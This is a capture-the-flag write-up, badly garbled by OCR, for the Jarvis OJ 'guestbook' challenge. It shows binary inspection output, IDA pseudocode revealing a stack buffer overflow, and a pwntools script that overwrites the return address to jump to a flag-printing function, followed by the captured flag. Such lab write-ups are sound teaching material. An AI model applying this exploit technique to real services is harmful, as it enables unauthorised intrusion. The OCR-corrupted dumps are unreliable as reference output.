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Do you have something to tell me?

nc pwn.jarvisoj.com 9876

fle—F K64 HIELF

igiqiya@521:~/Desktop/jarvis0ls file guestbook
guestbook: ELF 64-bit LSB executable, x86-64, version 1 (5YSV), dynamically lin

ked (uses shared libs), for GNU/Linux 2.6.32, BuildID[shal1]=74295821c855237f3f8e
eceb262ddcf6b2c2854e, not stripped
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iqiqiya@521:~/Desktop/jarvis0l$ checksec guestbook
[*] '/home/iqigiya/Desktop/jarvis0l/guestbook’
Arch:

amde4-64-1ittle
RELRO:

Stack:

NX:

PIE:

objdump -t X442 FUEFRFSE

iqigiya@521:~/Desktop/jarvis0J$ objdump -t guestbook

guestbook: file format elf64-x86-64

SYMBOL TABLE:

0000000000000000
00000000006008e€0
0000000000600810
00000000006008d8
0000000000600ac8
0000000000400700

df *ABS* 0000000000000000
.init_array 0000000000000000
0 .dynamic ©000000000000000
.init_array 0000000000000000
0 .got.plt 0000000000000
F .text 0000000000000002

__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini

0000000000400200 1 d .interp 0000000000000000 .interp
000000000040021c 1 d .note.ABI-tag 0000000000000000 .note.ABI-tag
000000000040023c 1 d .note.gnu.build-id 0000000000000 .note.gnu.build-id
0000000000400260 1 d .gnu.hash 0000000000000 .gnu.hash
0000000000400280 1 d .dynsym 0000000000000000 .dynsym
0000000000400328 1 d .dynstr 0000000000000000 .dynstr
0000000000400378 1 d .gnu.version 0000000000000000 .gnu.version
0000000000400388 1 d .gnu.version_r 0©000000000000000 .gnu.version_r
00000000004003a8 1 d .rela.dyn 0000000000000000 .rela.dyn
00000000004003c0 1 d .rela.plt 0000000000000000 .rela.plt
0000000000400450 1 d .init 0000000000000 .init
0000000000400470 1 d .plt 0000000000000000 .plt
00000000004004€0 1 d .text 0000000000000 .text
0000000000400704 1 d .fini 0000000000000 .fini
0000000000400710 1 d .rodata 0000000000000000 .rodata
0000000000400768 1 d .eh_frame_hdr 0000000000000000 .eh_frame_hdr
00000000004007b0 1 d .eh_frame 0000000000000000 .eh_frame
00000000006008d8 1 d .init_array 0©000000000000000 .init_array
00000000006008e0 1 d .fini_array 0000000000000000 .fini_array
00000000006008e8 1 d .jcr 0000000000000000 .jer
0000000000600810 1 d .dynamic ©0000000000000000 .dynamic
0000000000600aco 1 d .got 0000000000000 .got
0000000000600ac8 1 d .got.plt 0000000000000 .got.plt
0000000000600b10 1 d .data 0000000000000 .data
0000000000600b20 1 d .bss 0000000000000000 .bss
0000000000000000 1 d .comment 0000000000000 .comment
0000000000000000 1 df *ABS* 0000000000000000 crtstuff.c
00000000006008e8 1 0 .jcr 0000000000000 _ JCR_LIST__
0000000000400550 1 F .text 0000000000000000 deregister_tm_clones
0000000000400590 1 F .text 0000000000000000 register_tm_clones
00000000004005d0 1 F .text 0000000000000000 __do_global_dtors_aux
0000000000600b20 1 O .bss 0000000000001 completed. 6661
00000000006008e0 1 0 .fini_array 0000000000000000 __do_global_dtors_aux_fini_array_entry
0000000000400510 1 F .text 0000000000000000 frame_dummy
00000000006008d8 1 0 .init_array 0000000000000000 __frame_dummy_init_array_entry
0000000000000000 1 df *ABS* 0©000000000000000 pwnl1ee.c
0000000000000 1 df *ABS* 0000000000000000 crtstuff.c
00000000004008d0 1 0 .eh_frame 0000000000000000 __FRAME_END___
00000000006008e8 1 0 .jcr 0000000000000 __JCR_END__
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0000000000000000 W *UND* 0000000000000000 _ITM_deregisterTMCloneTable

0000000000600b10 W .data ©000000000000000 data_start
0000000000000000 F *UND* ©000000000000000 write@@GLIBC_2.2.5
0000000000600b20 g .data ©0000000000000000 _edata
0000000000400704 g F .fini ©0000000000000000 _fini
0000000000000000 F *UND* ©000000000000000 fgetc@@GLIBC_2.2.5
0000000000000000 F *UND* ©000000000000000 read@@GLIBC_2.2.5
0000000000000000 F *UND* ©000000000000000 _ libc_start_main@@GLIBC_2.2.5
0000000000600b10 g .data ©0000000000000000 _ data_start
0000000000000000 W *UND* 0000000000000000 __gmon_start__
0000000000600b18 g 0 .data 0000000000000000 .hidden __dso_handle
0000000000400710 g 0 .rodata 0000000000000004 _I0_stdin_used
0000000000400690 g F .text 0000000000000065 _ libc_csu_init
0000000000600b28 g .bss 0000000000000000 _end

0000000000400526 g F .text 0000000000000000 _start
0000000000600b20 g .bss ©000000000000000 __bss_start
00000000004004€0 g F .text 0000000000000046 main
0000000000000000 F *UND* 0000000000000000 fopen@@GLIBC_2.2.5
0000000000000000 W *UND* 0000000000000000 _Jv_RegisterClasses
0000000000400670 g F .text 000000000000001e readmessage
0000000000600b20 g 0 .data 0000000000000 .hidden __TMC_END__
0000000000000000 W *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000400450 g F .init 0000000000000000 _init
0000000000400620 g F .text 000000000000004a good_game
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IDA 43r#r— TR LLE Bflag.txt, read,read%s

|iﬂ LOAD Q0= Q0000006
|£ﬂ LOAD: Q00 Q0000006
|£ﬂ LOAD Q0= Q0000005
Iiﬂ LO&D: 000 Q0000012 _ 1ibc_start_maln
|£ﬂ LOAD Q0= Q0000006 yrite

C fopen
C
C
C
C
Iiﬂ LOAD: Q00 Q000000F C __gmon_start_
C
C
C
C
C

fzetc
read

|£ﬂ LOAD Q0= Q000000c GLIEC 2.2.5

S . rodata:~ 00000009

Iiﬂ .rodata:= 00000015 Input your message:\n

Iiﬂ .rodata:- 00000024 I have received vour message, Thank voulin
Fs .eh fram— 00000006 Tt

LA A = T = = I = I =

43 B WX A Input your message fflag.txt K5I 4REF5

g X B ID& View—4 [E Pseudocode-E B 5l strings window [E Pseudocode—4 [©] Hex 1
Ge ™ 1int _ cdecl main(int argc, const char **argv, const char **envp)
L 21
- 3 _ inted vd; // [rsp+8h]|[rbp-88h]
.p 4
.p 5/ write(1, "Input yvour message:\n", @x14ull);
.p Gl | read(@, &v4, Ox100ulLL): |
.p 7| return write(1, "I have received yvour message, Thank you!\n", @x29ulL);
P 8}
-p
+
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~ 1int good_game()
21{
3| FILE *v@; [/ rbx
4] int result; [/ eax
5 char buf; // [rsp+Fh] [rbp-9h]
5]
® 7| v@ = fopen("flag.txt", "r");
© 8 while ( 1)
9 {
® 10 result = fgetc(vd);
® 11 buf = result;
Yie12 if ( ( BYTE)result == -1 )
_ |l ®13 break;
® 14 write(1, &but, 1ull);
x 15| }
© 16| return result;
®17)}
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& o v [ Pseudoc- [ Pseudoc-- [ Stack of [E Strings we [ Pseudoc- [ i

~ ||-9000PEARREDARARS ; D/A/* : change type (data/fascii/array)
-0000000000000088 ; N > rename
-0000P000EEORRESS ; U : undefine
-PPPEERRORNAARESESE ; Use data definition commands to create local variables and function arguments.
-0PPEERAOANAARESEE ; Two special fields ™ r" and " s" represent return address and saved registers.
-0PPERRAOANAARESEE ; Frame size: 88; Saved regs: @; Purge: @
-000PR0RARDORASRSE ;
-0000B0ARARDERASSE

|-o00e000000000088 db ? ; undefined |

-0000000vYYLRSE 7 db ¢ ; undefined
-0BBPBOOREBOORAE6 db ? ; undefined
_DAGARAARDAGARARS dh ? - undefinad
~YUYYYYYIIYYYOL 2 db ¢ ; undetined
-00000RREEEEERA11 db ? ; undefined
-0000RRRE000ERA10 db ? ; undefined
-000PRRREE000RRAF db ? ; undefined
-000PRRREEE0ERRAE db ? ; undefined

| -000000BRPEEBARD db ? ; undefined

. v ||-0ce0eeR0000@00QC db ? ; undefined

[ -00000000000000RB db ? ; undefined

~ |-P0000000000000RA db ? ; undefined
-0000000000000009 db ? ; undefined

* ||-0000000000000003 db ? ; undefined
-0000000000000087 db ? ; undefined
-000PRRREE00ERRRG db ? ; undefined
-00000000000000R5 db ? ; undefined
-00000000000000B4 db ? ; undefined
-000000ERRRRERER3 db ? ; undefined
~A0RAAAAARAAAAAAD dh ? - undefined

I -0000008000000001 db ? : undefined I
+0PP0ROADABO0RRDO I db 8 dup(?)
+00000000P0RORERE
+000PPPRORPEREARS ; end of stack variables

SF+000000000000006F
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Functions window 0 & x [ 1pa~ [Elrse- Erse~ [BEsta
anction name Segment  Start Length Locals Arguments R F L™ 1l{int good_game()

‘| _write .plt 0000000000400480 00000006 R . 2K

1 _fgete .plt 0000000000400490 00000006 R 3| FILE *v@; // rbx

1 _read .plt 0000000000400440 00000006 R 4| int result; [/

7 ___libc_start_main .plt 00000000004004B0 00000006 R 5| char buf; // [r p-9
T ___enon_start__ .plt 00000000004004C0 00000006 R . 6

7 _£open .plt 00000000004004D0 00000006 R 7| ve = fopen("flag.txt", "r");
] =ain . text 00000000004004E0 00000046 00000088 00000000 R 2| while (1)

] _start Ltext 0000000000400526 00000024 . ol 1

'_deregisterftmfclones L text 0000000000400550 00000032 Q0000008 00000000 bid 10 result = fgetc(vo);

T register_tn_clones Ltext 0000000000400590 00000034 00000008 00000000 R 1 uf = recult:

7] __do_global dtors_aux Ltext 0000000000 400500 0000001C 00000000 00000000 R 12 if (¢ 3\'TE)-]-as.'_-. — 1)
7 trane_dunny Ltext 0000000 DEFQ 00000026 00000000 00000000 R 13 breaks

] zocd_game L text ooooooom 00000044 00000018 00000000 R T write(lj &buF, TuLL);
|readnessage L text 0000000000400670 000000LE 00000088 00000000 R e y L 2

T __1libe csu init L text 0000000000400690 00000065 00000038 00000000 R - B

7 __libe_csu_fini . text 0000000000400700 00000002 0000OODO  OOODOODO R 16| return result;

7 _tern_proec L fini 0000000000400704 00000009 00000008 00000000 R 171

Twrite extern 0000000000600B30 00000008 R

] feete extern 0000000000600B38 00000008 R
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) exp.py X
1 from pwn import *
i r = remote( 'pwn.jarvisoj.com',9876)#nc pwn.jarvisoj.com 9876
g payload = (0x88)*"a" + p64(0x400620)
? r.sendline(payload)
8

9 r.interactive()

iqiqiya@521:~/Desktop/jarvis01S python exp.py

[+] Opening connection to pwn.jarvisoj.com on port 9876: Done
[#] switching to interactive mode

Input your message:

I have received your message, Thank you!
PCTF{This_is_J4st Begin}
[#] Got EOF whille lfgading ! in. intefadtive
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